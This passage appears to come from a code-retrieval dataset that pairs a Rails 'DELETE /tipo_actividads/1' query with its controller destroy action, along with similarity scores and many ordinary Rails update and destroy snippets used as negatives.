"def update\n respond_to do |format|\n\n if @os_tarefa.update(os_tarefa_params)\n #se as situacao da tarefa nao for aceita, altera a ordem_servico_pagamento para null\n if(@os_tarefa.situacao!=OsTarefa.situacoes[0] && @os_tarefa.situacao!=OsTarefa.situacoes[1])\n\n @os_tarefa.ordem_servico_pagamento=nil\n @os_tarefa.save\n end\n\n if @os_tarefa.ordem_servico.id!=nil\n format.html { redirect_to \"/ordem_servicos/\"+@os_tarefa.ordem_servico.id.to_s, notice: 'A Tarefa foi atualizado(a)' }\n format.json { head :no_content }\n else\n format.html { redirect_to @os_tarefa, notice: 'A Tarefa foi atualizado(a)' }\n format.json { render :show, status: :ok, location: @os_tarefa }\n end\n else\n format.html { render :edit }\n format.json { render json: @os_tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_agressor.update(tipo_agressor_params)\n format.html { redirect_to @tipo_agressor, notice: @@msgs }\n format.json { render :show, status: :ok, location: @tipo_agressor }\n else\n format.html { render :edit }\n format.json { render json: @tipo_agressor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_controles = TipoControle.find(params[:id])\n\n respond_to do |format|\n if @tipo_controles.update_attributes(params[:tipo_controle])\n flash[:notice] = 'CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@tipo_controles) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_controles.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @solicitacoes_avaliacoes_servico.update(solicitacoes_avaliacoes_servico_params)\n format.html { redirect_to @solicitacoes_avaliacoes_servico, notice: 'Solicitacoes avaliacoes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacoes_avaliacoes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n if @paciente.update_attributes(params[:paciente])\n format.html { redirect_to @paciente, notice: 'Paciente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paciente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accesorio = Accesorio.find(params[:id])\n\n respond_to do |format|\n if @accesorio.update_attributes(params[:accesorio])\n format.html { redirect_to @accesorio, notice: 'Accesorio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render \"edit\" }\n format.json { render json: @accesorio.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.71816164",
"0.7045413",
"0.6900843",
"0.687196",
"0.6855516",
"0.6833924",
"0.6760118",
"0.6756357",
"0.67532533",
"0.67474467",
"0.6728945",
"0.6721714",
"0.66494745",
"0.663381",
"0.6614378",
"0.6612885",
"0.6593857",
"0.6574866",
"0.656132",
"0.65597636",
"0.652284",
"0.65193045",
"0.64878273",
"0.64852583",
"0.64758253",
"0.6472647",
"0.64709115",
"0.64654297",
"0.64607996",
"0.64554614",
"0.64544314",
"0.64489216",
"0.6444361",
"0.64346373",
"0.6433011",
"0.6432691",
"0.6430622",
"0.6427463",
"0.64235795",
"0.64176273",
"0.64137006",
"0.6408023",
"0.6400865",
"0.63995624",
"0.6394856",
"0.6381366",
"0.63631225",
"0.6358518",
"0.6357259",
"0.6350085",
"0.634774",
"0.6346281",
"0.63422334",
"0.63415474",
"0.6337143",
"0.6336835",
"0.63311076",
"0.632849",
"0.6325656",
"0.6324386",
"0.63140094",
"0.6305242",
"0.6302637",
"0.63017327",
"0.6300992",
"0.62937224",
"0.62925595",
"0.6291856",
"0.6289643",
"0.62878454",
"0.6286685",
"0.6284736",
"0.62828386",
"0.62769806",
"0.6274253",
"0.6269436",
"0.6267868",
"0.6266999",
"0.6266964",
"0.62636715",
"0.62609947",
"0.62599176",
"0.62598044",
"0.62595785",
"0.6257851",
"0.62522167",
"0.6251898",
"0.625032",
"0.6247982",
"0.62420905",
"0.6236233",
"0.6235654",
"0.6235103",
"0.62343603",
"0.62329775",
"0.62297624",
"0.62276244",
"0.622693",
"0.6225642",
"0.6224639"
] |
0.6824906
|
6
|
DELETE /tipo_actividads/1 DELETE /tipo_actividads/1.json
|
def destroy
@tipo_actividad.destroy
respond_to do |format|
format.html { redirect_to tipo_actividads_url, notice: 'Tipo actividad se elimino correctamente.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @tipo_actividad = TipoActividad.find(params[:id])\n @tipo_actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_actividads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to actividads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividad.destroy\n respond_to do |format|\n format.html { redirect_to actividads_url, notice: 'Actividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# redirect_to activacionclientets_path # ted esto para evitar que borren por la web. ok. Que valla al index. provisional ok.\n \n #@activacionclientet.destroy\n respond_to do |format|\n format.html { redirect_to activacionclientets_url, notice: 'Activacionclientes no se puede eliminar por esta via. Contacte el administrador.' } # ted esto para evitar que borren por la web\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activo = Activo.find(params[:id])\n @activo.destroy\n\n respond_to do |format|\n format.html { redirect_to activos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_contratos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_plan.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apuesta_detail = ApuestaDetail.find(params[:id])\n @apuesta_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_convenio = TipoConvenio.find(params[:id])\n @tipo_convenio.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_convenios_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @tipo_agressor.destroy\n respond_to do |format|\n format.html { redirect_to tipo_agressores_url, notice: @@msgs }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n @denuncia_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to denuncia_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serv_adicionale = ServAdicionale.find(params[:id])\n @serv_adicionale.destroy\n\n respond_to do |format|\n format.html { redirect_to serv_adicionales_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_ativ = StatusAtiv.find(params[:id])\n @status_ativ.destroy\n\n respond_to do |format|\n format.html { redirect_to status_ativs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adecuacionactividad.destroy\n respond_to do |format|\n format.html { redirect_to adecuacionactividads_url, notice: 'Adecuacionactividad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona_tipo = PersonaTipo.find(params[:id])\n @persona_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to persona_tipos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @solicitacao_tipo.destroy\n respond_to do |format|\n format.html { redirect_to solicitacao_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_trabajador.destroy\n respond_to do |format|\n format.html { redirect_to tipo_trabajadors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apoio_educacioanl.destroy\n respond_to do |format|\n format.html { redirect_to apoio_educacioanls_url, notice: 'Apoio educacioanal foi excluído com Sucesso !' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @datoscontacto = Datoscontacto.find(params[:id])\n @datoscontacto.destroy\n\n respond_to do |format|\n format.html { redirect_to datoscontactos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_aposta.destroy\n respond_to do |format|\n format.html { redirect_to tipo_apostas_url, notice: 'Tipo aposta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activo.destroy\n respond_to do |format|\n format.html { redirect_to activos_url, notice: 'Activo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to activites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidads_url, notice: 'Tipo unidad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accesorio = Accesorio.find(params[:id])\n @accesorio.destroy\n\n respond_to do |format|\n format.html { redirect_to accesorios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n @core_tipo_unidade.destroy\n\n respond_to do |format|\n format.html { redirect_to core_tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_distribucion.destroy\n respond_to do |format|\n format.html { redirect_to tipos_distribuciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_status_desembaraco = Core::StatusDesembaraco.find(params[:id])\n @core_status_desembaraco.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_desembaracos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_de_imposto.destroy\n respond_to do |format|\n format.html { redirect_to @empresa, notice: 'Tipo de imposto removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oferta = Oferta.find(params[:id])\n @oferta.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to admin_ofertas_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n @tipo_vehiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_vehiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_negocio = TipoNegocio.find(params[:id])\n @tipo_negocio.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_negocios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activo = Activo.find(params[:id])\n @activo.destroy\n\n respond_to do |format|\n format.html { redirect_to(activos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@clinica.destroy\n @clinica.update(:status => 0)\n respond_to do |format|\n format.html { redirect_to clinicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n \n end",
"def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @antropo.destroy\n respond_to do |format|\n format.html { redirect_to antropos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agenda_type = AgendaType.find(params[:id])\n @agenda_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agenda_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_despesa.destroy\n respond_to do |format|\n format.html { redirect_to tenant_tipo_despesas_path(tenant_id: @tenant.id), notice: 'Tipo despesa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end",
"def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @tipo_conta = TipoConta.find(params[:id])\n @tipo_conta.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_contas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @actum.destroy\n respond_to do |format|\n format.html { redirect_to acta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estado_remate.destroy\n respond_to do |format|\n format.html { redirect_to estado_remates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @atracao = Atracao.find(params[:id])\n @atracao.destroy\n\n respond_to do |format|\n format.html { redirect_to atracaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @antecedente = Antecedente.find(params[:id])\n @antecedente.destroy\n\n respond_to do |format|\n format.html { redirect_to antecedentes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoenvolvido.destroy\n respond_to do |format|\n format.html { redirect_to tipoenvolvidos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_alerta = TipoAlerta.find(params[:id])\n @tipo_alerta.destroy\n\n respond_to do |format|\n format.html { redirect_to tipos_alertas_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @situacao_avaliacao = SituacaoAvaliacao.find(params[:id])\n @situacao_avaliacao.destroy\n\n respond_to do |format|\n format.html { redirect_to situacao_avaliacoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @acuerdo = Acuerdo.find(params[:id])\n @acuerdo.destroy\n\n respond_to do |format|\n format.html { redirect_to acuerdos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actore = Actore.find(params[:id])\n @actore.destroy\n\n respond_to do |format|\n format.html { redirect_to actores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retroalimentacion = Retroalimentacion.find(params[:id])\n @retroalimentacion.destroy\n\n respond_to do |format|\n format.html { redirect_to retroalimentacions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @aadt = Aadt.find(params[:id])\n @aadt.destroy\n\n respond_to do |format|\n format.html { redirect_to aadts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @etnia = Etnia.find(params[:id])\n @etnia.destroy\n\n respond_to do |format|\n format.html { redirect_to etnias_url }\n format.json { head :no_content }\n end\n end",
"def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @tipo_funcionario.destroy\n respond_to do |format|\n format.html { redirect_to tipo_funcionarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to tipo_referencia_bases_url, notice: \"Tipo referencia base was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_status_unidade_carga = Core::StatusUnidadeCarga.find(params[:id])\n @core_status_unidade_carga.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_unidade_cargas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dynamique = Dynamique.find(params[:id])\n @dynamique.destroy\n\n respond_to do |format|\n format.html { redirect_to dynamiques_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_orden.destroy\n respond_to do |format|\n format.html { redirect_to tipo_ordens_url, notice: 'Tipo orden was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @atr = Atr.find(params[:id])\n @atr.destroy\n\n respond_to do |format|\n format.html { redirect_to atrs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_consulta.destroy\n respond_to do |format|\n format.html { redirect_to tipo_consultas_url, notice: 'Tipo consulta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_documento = TipoDocumento.find(params[:id])\n @tipo_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_documentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipos_contratos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicitudes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_compra.destroy\n respond_to do |format|\n format.html { redirect_to tipo_compras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to datos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ativo.destroy\n respond_to do |format|\n format.html { redirect_to ativos_url, notice: \"#{type} was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @titulacion.destroy\n respond_to do |format|\n format.html { redirect_to titulaciones_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.76893437",
"0.7383738",
"0.72604406",
"0.71526295",
"0.7123539",
"0.7116351",
"0.7107664",
"0.708317",
"0.7082692",
"0.7078241",
"0.7053908",
"0.6991266",
"0.69856894",
"0.6976074",
"0.6941976",
"0.6931941",
"0.6929264",
"0.69285107",
"0.69122094",
"0.69119054",
"0.69119054",
"0.69119054",
"0.69119054",
"0.69097",
"0.68926364",
"0.68926364",
"0.68899155",
"0.6873424",
"0.6872066",
"0.6870834",
"0.6868687",
"0.6862517",
"0.6851352",
"0.685104",
"0.6850978",
"0.68508637",
"0.6850197",
"0.68443674",
"0.68248844",
"0.6817952",
"0.68146515",
"0.68119484",
"0.68086094",
"0.6805208",
"0.6803641",
"0.6802213",
"0.6801833",
"0.68008006",
"0.67992795",
"0.67990965",
"0.6799086",
"0.67842275",
"0.67797387",
"0.6778661",
"0.677557",
"0.6774586",
"0.6774046",
"0.6773269",
"0.6772935",
"0.67706144",
"0.67677444",
"0.6767663",
"0.67669344",
"0.675925",
"0.6756852",
"0.6756674",
"0.67565763",
"0.6755097",
"0.6749217",
"0.6747472",
"0.6744191",
"0.67388153",
"0.67338",
"0.67337537",
"0.6729679",
"0.6727008",
"0.6726984",
"0.6725953",
"0.6725097",
"0.6720734",
"0.6715092",
"0.6714517",
"0.6711143",
"0.67100304",
"0.6709191",
"0.67087287",
"0.6706688",
"0.67063385",
"0.6706078",
"0.67029387",
"0.669933",
"0.66966563",
"0.6696224",
"0.66960734",
"0.6695078",
"0.66915697",
"0.66906327",
"0.6689391",
"0.66891956",
"0.66886467"
] |
0.7429858
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_tipo_actividad
@tipo_actividad = TipoActividad.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
